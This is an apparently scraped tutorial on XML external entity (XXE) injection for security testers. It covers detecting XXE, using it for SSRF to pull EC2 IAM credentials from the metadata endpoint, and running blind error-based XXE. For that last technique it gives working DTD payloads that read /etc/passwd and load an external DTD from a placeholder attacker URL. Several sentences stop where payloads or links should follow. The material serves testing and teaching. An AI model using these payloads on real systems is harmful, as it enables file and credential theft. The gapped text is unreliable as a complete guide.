Some web applications handle data and rely on the XML format to exchange data with the browsers.
XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data ().
XXE injections can sometimes lead to , Local File Disclosure, Sensitive Information Disclosure, Data Exfiltration, RCE (Remote Code Execution) and so on.
Practice
Identify an XXE injection vulnerability
Testers need to find inputs or forms that send XML formatted data to the application.
For instance, in the following request, the user submitted a search form with the input "TESTINPUT".
POST /action HTTP/1.1
Host: some.website
[...]
Connection: close
<?xml version="1.0"?>
<searchForm>
<from>TESTINPUT</from>
</searchForm>
The tester can detect if the XML parser parses the external entities by defining one inside a DOCTYPE element, and checking if the value in the from element gets replaced (the value will be replaced in the reflected messages sent by the application like error messages, search results).
An XXE can be exploited to conduct an SSRF. When an application performs data transfer using XML, the request can be intercepted and forwarded to an internal host as follow.
The internal server will reveal the URL path to access the role's credentials as an error message at each step by displaying the HTTP response body of the accessed URL as follows:
URL = "http://169.254.169.254/latest/metadata/iam/security-credentials/"
The server will return an error message revealing the EC2 role name: invalid productId ec2-role-name.
URL = "http://169.254.169.254/latest/metadata/iam/security-credentials/ec2-role-name"
The server will return an error message revealing the EC2 role's secrets as invalid productId.
Blind XXE
Sometimes, an XXE injection can be found, but the app doesn't return the values of any defined external entities within its responses. It's called a blind XXE.
There are two ways to find & exploit a blind XXE :
XML parsing errors can be triggered so that sensitive data is included in the error messages.
Blind XXE via error messages
It is possible to perform a blind XXE by triggering an XML parsing error where the error message contains the sensitive data that needs to be retrieved.
An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file using a malicious external DTD as follows :
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "ATTACKER-DTD-URL"> %xxe;]>
Then, on a victim server, the attacker can submit this payload to get access to the /etc/passwd file:
Example
In this example, an attacker has access to a website containing a shop.
This shop has a "Check stock" feature that parses XML input but does not display the result.
If an attacker intercept this request, he will be able to perform a blind error based XXE. First, on the attacker server, prepare the XML payload that will lead to leak /etc/passwd due to an XML parsing error :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
Then, the attacker will have to perform a out-of-band XXE to call the the payload stored on his exploit server :
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "URL_OF_THE_ATTACKER_PAYLOAD"> %xxe;]>
In the HTTP response, the attacker will have access to the /etc/passwd file of the victim's server that host the shop. Final payload will look like this :
When the tester has identified a vulnerable entry point (see ). He can try to disclose local files by replacing the from value with the content of a sensitive file (e.g. /etc/passwd).
For more details, refer to the .
Out-of-band network interactions can be initiated, sometimes leaking sensitive data into the interaction data such as.
The attack consists in invoking an existing DTD file (on the local filesystem). Then, redefining the existing entity in a way that triggers a parsing error containing sensitive data like messages.
